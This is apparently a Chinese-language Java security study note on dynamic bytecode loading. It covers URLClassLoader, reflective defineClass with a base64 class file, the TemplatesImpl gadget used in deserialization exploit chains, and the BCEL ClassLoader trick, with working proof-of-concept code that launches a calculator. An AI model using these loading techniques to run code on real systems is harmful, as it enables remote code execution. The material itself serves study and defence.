Java安全-动态加载字节码

文章目录

介绍

定义

严格来说，Java字节码（ByteCode）其实仅仅指的是Java虚拟机执行使用的一类指令，通常被存储在.class文件中。

众所周知，不同平台、不通CPU的计算机指令有差异，但因为Java是一门跨平台的编译型语言，所以这些差异对于上层开发者来说是透明的，上层开发者只需要将自己的代码编译一次，即可运行在不同平台的JVM虚拟机中。

甚至，开发者可以用类似Scala、Kotlin这样的语言编写代码，只要你的编译器能够将代码编译成.class文件，都可以在JVM虚拟机中运行：

所有能够恢复成一个类并在JVM虚拟机里加载的字节序列，都在我们的探讨范围内。

ClassLoader简介

一个完整的 Java 应用程序由若干个 Java Class 文件组成，当程序在运行时，会通过一个入口函数来调用系统的各个功能，这些功能都被存放在不同的 Class 文件中。

因此，系统在运行时经常会调用不同 Class 文件中被定义的方法，如果某个 Class 文件不存在，则系统会抛出 ClassNotFoundException 异常。

系统程序在启动时，不会一次性加载所有程序要使用的 Class 文件到内存中，而是根据程序需要，通过 Java 的类加载机制动态将需要使用的 Class 文件加载到内存中; 只有当某个 Class 文件被加载到内存后，该文件才能被其他 Class 文件调用。

这个 “类加载机制“ 就是 ClassLoader , 他的作用是动态加载 Java Class 文件到 JVM 的内存空间中，让 JVM 能够调用并执行 Class 文件中的字节码。

Class.forName()方法实际上也是调用的 CLassLoader 来实现的，调用时也可以在参数中明确指定ClassLoader。与ClassLoader.loadClass() 一个小小的区别是，forName() 默认会对类进行初始化，会执行类中的 static 代码块。而ClassLoader.loadClass() 默认并不会对类进行初始化，只是把类加载到了 JVM 虚拟机中。

示例

字节码文件

Calc.class

publicclassCalc{publicCalc()throwsException{Runtime.getRuntime().exec("calc");}}

yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAEQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAIABAADAA0ABAALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQAAAAAgAR

URLClassLoader

远程加载class文件

packageorg.example;importjava.net.URL;importjava.net.URLClassLoader;publicclassHelloURLClassLoader{publicstaticvoidmain(String[] args)throwsException{{URL[] urls ={newURL("http://127.0.0.1:81/")};URLClassLoader loader =URLClassLoader.newInstance(urls);Class calc = loader.loadClass("Calc");Process process =(Process) calc.getMethod("exec",String.class).invoke(null,"calc");}}}

defineClass

java.lang.ClassLoader

注意一点，在 defineClass 被调用的时候，类对象是不会被初始化的，只有这个对象显式地调用其构造函数，初始化代码才能被执行。

而且，即使我们将初始化代码放在类的static块中（在本系列文章第一篇中进行过说明），在 defineClass 时也无法被直接调用到。

所以，如果我们要使用 defineClass 在目标机器上执行任意代码，需要想办法调用构造函数。

packageorg.example;importjava.lang.reflect.Method;importjava.util.Base64;publicclassHelloDefineClass{publicstaticvoidmain(String[] args)throwsException{Method defineClass =ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        defineClass.setAccessible(true);byte[] code =Base64.getDecoder().decode("yv66vgAAADQAHwoABgASCgATABQIABUKABMAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAGQEAClNvdXJjZUZpbGUBAAlDYWxjLmphdmEMAAcACAcAGgwAGwAcAQAEY2FsYwwAHQAeAQAEQ2FsYwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACgAAAA4AAwAAAAIABAADAA0ABAALAAAADAABAAAADgAMAA0AAAAOAAAABAABAA8AAQAQAAAAAgAR");Class calc =(Class) defineClass.invoke(ClassLoader.getSystemClassLoader(),"Calc", code,0, code.length);
        calc.newInstance();}}

这里，因为系统的 ClassLoader#defineClass 是一个保护属性，所以我们无法直接在外部访问，不得不使用反射的形式来调用。

在实际场景中，因为defineClass方法作用域是不开放的，所以攻击者很少能直接利用到它，但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

TemplatesImpl

在

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类中定义了一个内部类

TransletClassLoader

这个类里重写了

defineClass

方法，并且这里没有显式地声明其定义域。Java中默认情况下，如果一个方法没有显式声明作用域，其作用域为default。所以也就是说这里的

defineClass

由其父类的protected类型变成了一个default类型的方法，可以被类外部调用。

我们从 TransletClassLoader#defineClass() 向前追溯一下调用链：

TemplatesImpl#getOutputProperties()->publicTemplatesImpl#newTransformer()->publicTemplatesImpl#getTransletInstance()->privateTemplatesImpl#defineTransletClasses()->privateTransletClassLoader#defineClass()default

追到最前面两个方法 TemplatesImpl#getOutputProperties() 、TemplatesImpl#newTransformer() ，这两者的作用域是public，可以被外部调用。我们尝试用newTransformer() 构造一个简单的POC：

packageorg.example;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjava.lang.reflect.Field;importjava.util.Base64;publicclassHelloTemplatesImpl{publicstaticvoidmain(String[] args)throwsException{// source: bytecodes/HelloTemplateImpl.javabyte[] code =Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{code});setFieldValue(obj,"_name","TemplatesImplCalc");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());
        obj.newTransformer();}

其中，

setFieldValue

方法用来设置私有属性，可见，这里我设置了三个属性：

_bytecodes

、

_name

和

_tfactory

。

_bytecodes

是由字节码组成的数组；

_name

可以是任意字符串，只要不为null即可；

_tfactory

需要是一个

TransformerFactoryImpl

对象，因为

TemplatesImpl#defineTransletClasses()

方法里有调用到

_tfactory.getExternalExtensionsMap()

，如果是null会出错。

另外，值得注意的是，

TemplatesImpl

中对加载的字节码是有一定要求的：这个字节码对应的类必须
是

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

的子类。

所以，我们需要构造一个特殊的类：

importcom.sun.org.apache.xalan.internal.xsltc.DOM;importcom.sun.org.apache.xalan.internal.xsltc.TransletException;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xml.internal.dtm.DTMAxisIterator;importcom.sun.org.apache.xml.internal.serializer.SerializationHandler;importjava.io.IOException;publicclassTemplatesImplCalcextendsAbstractTranslet{publicvoidtransform(DOM document,SerializationHandler[] handlers)throwsTransletException{}publicvoidtransform(DOM document,DTMAxisIterator iterator,SerializationHandler handler)throwsTransletException{}publicTemplatesImplCalc()throwsIOException{super();Runtime.getRuntime().exec("calc");}}

它继承了 AbstractTranslet 类，并在构造函数执行了打开计算器命令。将其编译成字节码，即可被TemplatesImpl 执行了：

在多个Java反序列化利用链，以及fastjson、jackson的漏洞中，都曾出现过 TemplatesImpl 的身影，这个系列后文中仍然会再次见到它的身影。

BCEL ClassLoader

Java 8u251之后不能使用，且用且珍惜。

BCEL这个包中有个有趣的类

com.sun.org.apache.bcel.internal.util.ClassLoader

，他是一个ClassLoader，但是他重写了Java内置的

ClassLoader#loadClass()

方法。

在

ClassLoader#loadClass()

中，其会判断类名是否是

$$BCEL$$

开头，如果是的话，将会对这个字符串进行decode。

BcelCalc.class

packageorg.tools;publicclassBcelCalc{static{try{Runtime.getRuntime().exec("calc");}catch(Exception e){}}}

HelloBCEL.class

packageorg.example;importcom.sun.org.apache.bcel.internal.classfile.JavaClass;importcom.sun.org.apache.bcel.internal.classfile.Utility;importcom.sun.org.apache.bcel.internal.Repository;importcom.sun.org.apache.bcel.internal.util.ClassLoader;publicclassHelloBCEL{publicstaticvoidmain(String[] args)throwsException{JavaClass cls =Repository.lookupClass(org.tools.BcelCalc.class);String code =Utility.encode(cls.getBytes(),true);System.out.println(code);newClassLoader().loadClass("$$BCEL$$"+ code).newInstance();}}

参考链接

动态加载字节码学习.md at main · bfengj/CTF (github.com)
BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)
Java ClassLoader 学习笔记(CSDN博客)
java安全漫谈